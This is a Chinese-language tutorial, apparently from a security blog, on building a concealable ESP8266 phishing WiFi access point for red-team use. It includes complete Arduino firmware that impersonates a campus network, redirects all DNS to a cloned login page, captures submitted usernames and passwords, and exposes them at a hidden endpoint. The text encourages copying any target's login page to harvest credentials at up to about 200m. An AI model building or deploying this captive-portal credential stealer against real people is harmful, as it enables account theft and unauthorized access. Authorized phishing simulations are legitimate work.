*严正声明:本文仅限于技术讨论与分享严禁用于非法途径。
在企业安全设备越来越多 边境安全防护越做越好的情况下 钓鱼攻击已经逐渐成为了红蓝对抗演练
的主要方法。而随着邮件服务器WAF等设备的更新以及企业人员安全意识的逐步提高 针对邮件钓
鱼攻击也有了更多的防范措施。
在攻防演习 授权测试过程中 近源渗透与钓鱼攻击的组合拳能达到出其不意的效果 但行为有时也
太过明显--手持MBP在目标附近转悠,且有被直接抓获的风险 活捉成就达成。
于是小编制作了一款钓鱼WIFI 特点是小型且不易被发现 信号范围广 其次是成本低
可将其安装在目标附近。
制作准备
硬件
ESP8266 某宝10元左右
电源模块 可选
软件
软件配置
Arduino - 首选项 - 附加开发版管理网址 添加如下网址
http://arduino.esp8266.com/stable/package_esp8266com_index.json
https://raw.githubusercontent.com/SpacehuhnTech/arduino/main/pa
ckage_spacehuhn_index.json
2. Arduino - 工具 - 开发板 - 开发板管理器 输入 esp8266 点击查找 选择"esp8266 by ESP8266
Community"安装 下载时建议使用代理。
3. 下载ESP8266FS 将esp8266fs.jar放入Arduino根目录下的tools文件夹 以MacOS为例 格式
为 /Applications/Arduino.app/Contents/Java/tools/ESP8266FS/tool/esp8266fs.jar
制作钓鱼网页
此处以某认证系统为例。
下载网页
修改登录接口为pass 用户名密码为user pass。
刷写ESP8266固件
Arduino - 文件 - 新建 新建项目。
Arduino - 工具 配置开发板信息如下 需要注意端口的配置。
此处笔者直接贴出代码 并对代码做了详细注解 希望读者们认真阅读 重点代码在于接受
传来的数据并存储的过程 能够举一反三。
- #include <ESP8266WiFi.h>
- #include <DNSServer.h>
- #include <ESP8266WebServer.h>
- #include <WiFiClient.h>
- #include <FS.h>
- // DNS默认端口,无需修改
- const byte DNS_PORT = 53;
- // WIFI名称
- const char *ssid = "HUBU-STUDENT-PRO";
- // AP的IP地址(即网关地址)
- IPAddress apIP(192, 168, 1, 1);
- // 查看存储密码的密码
- String ppassword = "t123061";
- DNSServer dnsServer;
- ESP8266WebServer webServer(80);
- // 存储账号密码
- String data = "";
- // 认证页面
- String responseHTML = "<html><head><meta http-equiv="refresh" content="1;URL='ht
- tp://192.168.1.1/index.html'"></head></html>";
- // 登录失败页面
- String responseHTML_error = "<html><head><meta http-equiv="refresh" content="5;UR
- L='http://192.168.1.1/index.html'"><h3>没有找到符合条件的策略,5秒后返回</h3></head></html>";
- String getContentType(String filename){
- if(webServer.hasArg("download")) return "application/octet-stream";
- else if(filename.endsWith(".htm")) return "text/html";
- else if(filename.endsWith(".html")) return "text/html";
- else if(filename.endsWith(".css")) return "text/css";
- else if(filename.endsWith(".js")) return "application/javascript";
- else if(filename.endsWith(".png")) return "image/png";
- else if(filename.endsWith(".gif")) return "image/gif";
- else if(filename.endsWith(".jpg")) return "image/jpeg";
- else if(filename.endsWith(".ico")) return "image/x-icon";
- else if(filename.endsWith(".xml")) return "text/xml";
- else if(filename.endsWith(".pdf")) return "application/x-pdf";
- else if(filename.endsWith(".zip")) return "application/x-zip";
- else if(filename.endsWith(".gz")) return "application/x-gzip";
- return "text/plain";
- }
- // 查看存储的账号和密码
- void paw(){
- if(webServer.arg("key")==ppassword){
- webServer.send(200, "text/plain", data);
- }else{
- webServer.send(200, "text/html", responseHTML);
- }
- }
- // 记录从钓鱼界面传过来的账号和密码
- void pass(){
- if(webServer.arg("user") != "" && webServer.arg("pass") != ""){
- data += "username:";
- data += webServer.arg("user");
- data += "----password:";
- data += webServer.arg("pass");
- data += "\r\n";
- webServer.send(200, "text/html", responseHTML_error);
- }
- }
- void background() {
- File file = SPIFFS.open("/background.jpg", "r");
- size_t sent = webServer.streamFile(file, "image/jpeg");
- file.close();
- return;
- }
- void bootstrap() {
- File file = SPIFFS.open("/bootstrap.css", "r");
- size_t sent = webServer.streamFile(file, "text/css");
- file.close();
- return;
- }
- void logo_r() {
- File file = SPIFFS.open("/logo.png", "r");
- size_t sent = webServer.streamFile(file, "image/png");
- file.close();
- return;
- }
- void favicon() {
- File file = SPIFFS.open("/favicon.ico", "r");
- size_t sent = webServer.streamFile(file, "image/x-icon");
- file.close();
- return;
- }
- void main_r() {
- File file = SPIFFS.open("/main.css", "r");
- size_t sent = webServer.streamFile(file, "text/css");
- file.close();
- return;
- }
- void middle_r() {
- File file = SPIFFS.open("/middle.png", "r");
- size_t sent = webServer.streamFile(file, "image/png");
- file.close();
- return;
- }
- void uname_r() {
- File file = SPIFFS.open("/uname.png", "r");
- size_t sent = webServer.streamFile(file, "image/png");
- file.close();
- return;
- }
- void upwd_r() {
- File file = SPIFFS.open("/upwd.png", "r");
- size_t sent = webServer.streamFile(file, "image/png");
- file.close();
- return;
- }
- void index_r(){
- File file = SPIFFS.open("/index.html", "r");
- size_t sent = webServer.streamFile(file, "text/html");
- file.close();
- return;
- }
- // 首页
- void handleRoot() {
- File file = SPIFFS.open("/index.html", "r");
- size_t sent = webServer.streamFile(file, "text/html");
- file.close();
- return;
- }
- void setup() {
- // WIFI配置
- Serial.begin(9600);
- SPIFFS.begin();
- WiFi.mode(WIFI_AP);
- WiFi.softAPConfig(apIP, apIP, IPAddress(255, 255, 255, 0));
- WiFi.softAP(ssid);
- // DNS配置
- dnsServer.start(DNS_PORT, "*", apIP);
- // 配置404网页为首页
- webServer.onNotFound([]() {
- webServer.send(200, "text/html", responseHTML);
- });
- // 配置查看密码网页
- webServer.on ("/key518", HTTP_GET, paw);
- webServer.on("/", handleRoot);
- // 配置登录接口
- webServer.on("/pass", HTTP_GET, pass);
- webServer.on("/background.jpg", background);
- webServer.on("/bootstrap.css", bootstrap);
- webServer.on("/logo.png", logo_r);
- webServer.on("favicon.ico", favicon);
- webServer.on("/main.css", main_r);
- webServer.on("/middle.png", middle_r);
- webServer.on("/uname.png", uname_r);
- webServer.on("/upwd.png", upwd_r);
- webServer.on("/index.html", index_r);
- webServer.begin();
- }
- void loop() {
- dnsServer.processNextRequest();
- webServer.handleClient();
- }
复制代码
保存项目 会自动生成一个文件夹存储代码文件 根据步骤3配置好开发板与端口后 点击编译上传 等待上传成功。
在项目目录下新建data目录 将前端文件放入 然后使用ESP8266FS工具上传
到此制作已经全部完成
成品演示
连接WiFi
连接WiFi后自动弹出认证界面 输入用户密码test/test
点击登录后跳转到预置的登录失败界面
访问预置网址 http://192.168.1.1/key514?pass=123061,收网
后记
文章中以某认证系统为例 在实际测试中 只需要下载目标认证界面
修改 或自行编写界面即可达到超低成本钓鱼效果。
经过小编不严谨的测试 空地WiFi范围可达200m左右。
同时朋友们可举一反三 对钓鱼方法及代码进行更加针对性的改动 此处不做过多赘述。
账号密码存储可写入存储而非内存 断电清空。 |